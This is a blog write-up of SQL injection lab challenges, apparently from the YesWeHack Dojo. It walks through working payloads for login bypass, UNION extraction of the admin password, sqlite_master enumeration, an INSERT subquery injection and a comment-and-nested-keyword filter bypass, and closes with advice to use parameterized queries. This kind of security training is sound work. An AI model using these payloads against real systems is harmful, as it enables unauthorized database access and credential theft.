Skip to main content

Command Palette

Search for a command to run...

SQL Injection - CWE 89 (YesWeHack Dojo)

Published
7 min read
SQL Injection - CWE 89 (YesWeHack Dojo)
J

Software Developer | Learning Cybersecurity | Open for roles *

If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Introduction

SQL injection has been on the OWASP Top 10 for years — not because developers don't know about it, but because unsanitized user input keeps finding its way into database queries. CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) covers this entire class of vulnerabilities, ranging from simple login bypasses to full database enumeration.

I worked through the YesWeHack Dojo SQL Injection module to build hands-on intuition for how these attacks actually work — not just the theory, but reading how queries transform under injection, adapting when filters push back, and understanding what the database exposes when you ask the right questions.

This writeup covers 5 challenges: login bypass, data exfiltration, schema enumeration, INSERT injection, and filter bypass.

SQL Injection

SQL Injection is an exploit technique used by an attacker to alter the queries made to an SQL database. This can be used to fetch or modify the content of a database. SQL injection are found when an user supplied value is used incorectly in an SQL query. While SQLi are mostly found in web application, they can also be found I any other app using SQL.

Example

Imagine the following php code for a simple admin login.

<?php
include 'db.php';

// Get the password from POST data
\(pass = isset(\)_POST['pass']) ?  $_POST['pass'] : "";

\(username = run_query("SELECT username FROM users WHERE username = 'admin' AND password = '\)pass';");
if ($username){
  echo "Welcome $username";
}
?>

We can see that an user supplied pass is injected directly inside the query. This really bad practice make your code vulnerable to SQL injection attack.

This is what the actual query look like after the variable substitution:

Now let's look at what happend when we tried to inject some malicious SQL.

  • Regular request
SELECT username FROM users WHERE username = 'admin' AND password = 'hunter2';

password: hunter2
  • Inject malicious SQL
SELECT username FROM users WHERE username = 'admin' AND password = 'admin' OR 'a'='a';

password: admin' OR 'a'='a

When the $pass is set to **admin' OR 'a'='a**the meaning of query change, this is an injection. Here the attacker completly bypass the password check because of the extra OR true at the end.

But this is not the only thing an attacker can do in this scenario, by using the union feature of SQL it is possible to extract anything from the database.

  • Inject UNION
SELECT username FROM users WHERE username = 'admin' AND password = '' UNION SELECT password FROM users WHERE username='admin';

password: ' UNION SELECT password FROM users WHERE username='admin

This time, instead of only fetching the username, the query will also return the password of the admin.

' UNION SELECT password FROM users WHERE email='admin@user.com

Challenges

Simple login Bypass

password: admin' OR 'a'='a

-- return
SELECT 
  (`password` = 'admin' OR 'a'='a') is_valid_password
FROM users 
WHERE username = 'admin' 
LIMIT 1;

First exfiltration

Time to recover some data

Bypassing a password check is nice, but being able to read arbitrary data is better.

Try to get the admin password.

Goal: recover the admin password

-- return
SELECT 
  username, email
FROM users 
WHERE email LIKE '%%' 
LIMIT 10;

SELECT username FROM users WHERE username = 'admin' AND password = '' UNION SELECT password FROM users WHERE username='admin';

' UNION SELECT email FROM users WHERE username='admin - wrong

Correct

SELECT username, email FROM users 
WHERE email LIKE '%' UNION SELECT password, username FROM users WHERE username='admin'-- %' LIMIT 10;

email=' UNION SELECT password, username FROM users WHERE username='admin'--

No LIMIT

Limiting the query

This query should give us the any password, but the limit 0 prevent it.

Can you bypass it ?

Goal: recover the admin password

SELECT password FROM users WHERE username = '' LIMIT 0;

correct

NAME: admin’--

SELECT password FROM users WHERE username = 'admin'--' LIMIT 0;

Exploration

Spelunking the internals

Now that you are able to recover any data, try to explore the database.

There is an hidden table containing a flag, can you find where it is ?

Goal: recover the flag from the hidden table.

SELECT email FROM users WHERE username = '' LIMIT 1;

I tried:

NAME: ' UNION SELECT email FROM users WHERE username='admin

OUTPUT: [{"email":"admin@localhost"}]

NAME: ' UNION SELECT password FROM users WHERE username='admin

OUTPUT: [{"email":"admin"}]

NAME: admin'—

OUTPUT: [{"email":"admin@localhost"}]

hints:

  • First you need to know which SQL backend the server is using. You can use some database specific function or error message to guess it.

  • Here the backend is Sqlite. Where is the database schema stored ?

  • UNION can be used to get data from any table.

NAME: ' UNION SELECT name FROM sqlite_master WHERE type='table'--
OUTPUT: 

[{"email":"H!dd3n_t4bl3"},
{"email":"users"}]

NAME: ' UNION SELECT sql FROM sqlite_master WHERE name='H!dd3n_t4bl3'--

OUTPUT: [{"email":"CREATE TABLE H!dd3n_t4bl3 (\\n flag text\\n)"}]

last step:

NAME: ' UNION SELECT flag FROM 'H!dd3n_t4bl3'--

OUTPUT: [{"email":"FLAG{56zq8kiwtstw3ethxk55z}"}]

Injection in INSERT

Inserting payloads

Sometimes the injection can occur in an INSERT statement.

Goal: recover the admin password.

-- run
INSERT INTO maillinglist(email, enabled) VALUES ('', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;

MAIL: admin' OR 'a'='a’

OUTPUT:

Parse error near line 16: unrecognized token: "'a'', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;"
  illinglist(email, enabled) VALUES ('admin' OR 'a'='a'', TRUE);  SELECT    emai
                                      error here ---^

MAIL: 'admin' OR 'a'='a’

OUTPUT:

Parse error near line 16: near "admin": syntax error
  NSERT INTO maillinglist(email, enabled) VALUES (''admin' OR 'a'='a'', TRUE);
                                      error here ---^
[{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":0},
{"email":"Leonel.Zieme1@yahoo.com","enabled":1},
{"email":"Andreane49@hotmail.com","enabled":0},
{"email":"Mose.Cruickshank-Cassin69@gmail.com","enabled":0}]

MAIL: admin

OUTPUT:

[{"email":"admin","enabled":1},
{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":1},
{"email":"Leonel.Zieme1@yahoo.com","enabled":1},
{"email":"Andreane49@hotmail.com","enabled":1}]

hints

  • Can you set enabled to something else ?

  • Have you heard of nested queries ?

correct:

MAIL: '||(SELECT password FROM users WHERE username='admin')||’

OUTPUT:

[{"email":"FLAG{y06azxph2hi2574ez5937vj}","enabled":1},
{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":0},
{"email":"Leonel.Zieme1@yahoo.com","enabled":0},
{"email":"Andreane49@hotmail.com","enabled":0}]
-- run
INSERT INTO maillinglist(email, enabled) VALUES (''||(SELECT password FROM users WHERE username='admin')||'', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;

Filter bypass

Some filter away from SQL injection

Here your input is heavily transformed before being injected into the query. While this make the exploitation more difficult, this shouldn't stop you.

Goal: recover the admin password

  • Spaces are not the only word separator in SQL.

  • The password filter is broken; you should be able to bypass it.

SELECT 
  `username`, `email`
FROM `users`
WHERE `email` = '@company.name'
LIMIT 5;

USER: ' admin

OUTPUT:

Parse error near line 10: near "@company": syntax error
  me`, `email` FROM `users` WHERE `email` = ''.admin@company.name' LIMIT 5;
                                      error here ---^

correct

USER: '/**/UNION/**/SELECT/**/passpasswordword,username/**/FROM/**/users/**/WHERE/**/username='admin'--

[{"username":"FLAG{wsnyirm6tg6num849unzf}","email":"admin"}]
SELECT 
  `username`, `email`
FROM `users`
WHERE `email` = ''/**/union/**/select/**/password,username/**/from/**/users/**/where/**/username='admin'--@company.name'
LIMIT 5;

Across these 5 challenges, a clear pattern emerged: SQL injection is less about memorizing payloads and more about reading how the application transforms your input and working backwards from there.

The filter bypass challenge drove this home hardest. Seeing password silently stripped from the query and reconstructing it as passwpasswordord is the same mental model you'd use against a WAF in the real world: observe the transformation, then craft input that survives it intact.

Key takeaways:

  • UNION-based injection requires matching column counts. Always check the original SELECT first

  • SQLite exposes its full schema through sqlite_master knowing your backend matters

  • Subqueries inside INSERT via || concatenation are a reminder that injection surfaces go beyond WHERE clauses

  • Blacklist filters are fragile a single-pass keyword removal is trivially bypassed with nested keywords or comment-based space alternatives

From a defensive standpoint, all of these vulnerabilities share one root cause: user input being concatenated directly into SQL queries. The fix is consistent use of parameterized queries / prepared statements; no amount of input sanitization or filtering is as reliable.

References:

Dojo YesWeHack

Part 1 of 1

Learning different types of vulnerabilities and CTF challenges